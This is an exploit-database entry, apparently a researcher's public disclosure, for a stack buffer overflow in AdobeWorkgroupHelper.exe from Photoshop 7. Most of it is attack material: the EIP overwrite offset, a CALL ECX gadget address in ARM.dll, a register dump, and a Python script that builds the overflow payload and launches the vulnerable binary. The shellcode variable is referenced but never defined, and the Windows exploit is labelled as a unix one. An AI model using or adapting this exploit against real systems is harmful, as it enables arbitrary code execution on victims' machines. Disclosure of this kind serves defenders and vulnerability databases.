AdobeWorkgroupHelper - Stack Based Buffer Overflow Exploit

ID 1337DAY-ID-24441
Type zdt
Reporter hyp3rlinx
Modified 2015-10-15T00:00:00


Exploit for unix platform in category local exploits

[+] Credits: hyp3rlinx
[+] Website:
[+] Source:
AdobeWorkgroupHelper.exe v2.8.3.3
Part of Photoshop 7.0 circa 2002
Vulnerability Type:
Stack Based Buffer Overflow
CVE Reference:
Vulnerability Details:
AdobeWorkgroupHelper.exe is a component of the Photoshop 7 workgroup
functionality, that lets users work with files on a server that is
registered as a workgroup.
If AdobeWorkgroupHelper.exe is called with an overly long command line
argument it is vulnerable to a stack based buffer overflow exploit.
Resluting in arbitrary code execution undermining the integrity of the
program. We can control EIP register at about 5,856 bytes, our shellcode
will point
to ECX register.
Tested successfully on Windows 7 SP1
Exploit code(s):
Use below python script to exploit...
import struct,os,subprocess
#Photoshop 7 AdobeWorkgroupHelper.exe buffer overflow exploit
#Tested Windows 7 SP1
#by hyp3rlinx - [email protected]
#0x618b19f7 : call ecx |  {PAGE_EXECUTE_READ} [ARM.dll]
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.8.3.3
#(C:\Program Files (x86)\Common Files\Adobe\Workflow\ARM.dll)
Quick Register dump...
EAX 00270938
ECX 00270A7C                     <---------------BOOM!
EBX 41414140
ESP 0018FEB0
EBP 0018FED0
ESI 00000000
EDI 41414141
EIP 004585C8 AdobeWor.004585C8
C 0  ES 002B 32bit 0(FFFFFFFF)
P 0  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 7EFDD000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G)
#shellcode to pop calc.exe Windows 7 SP1
vulnpgm="C:\Program Files (x86)\Common
Files\Adobe\Workflow\AdobeWorkgroupHelper.exe "
#payload="A"*5852+"R"*4  #<---- control EIP register
#our shellcode will point at ECX register, so we need to find an JMP or
CALL ECX and point EIP to that address
#where our malicious code resides, we find it in ARM.dll
eip=struct.pack('<L', 0x618B19F7)    #CALL ECX ARM.dll v2.8.3.3
payload="A"*5852+eip+"\x90"*20+sc    #<----- direct EIP overwrite BOOOOOM!!!
subprocess.Popen([vulnpgm, payload], shell=False)
Disclosure Timeline:
Vendor Notification: August 31, 2015
October 12, 2015  : Public Disclosure
Exploitation Technique:
Severity Level:
[+] Disclaimer
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provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
by hyp3rlinx

# [2018-03-09]  #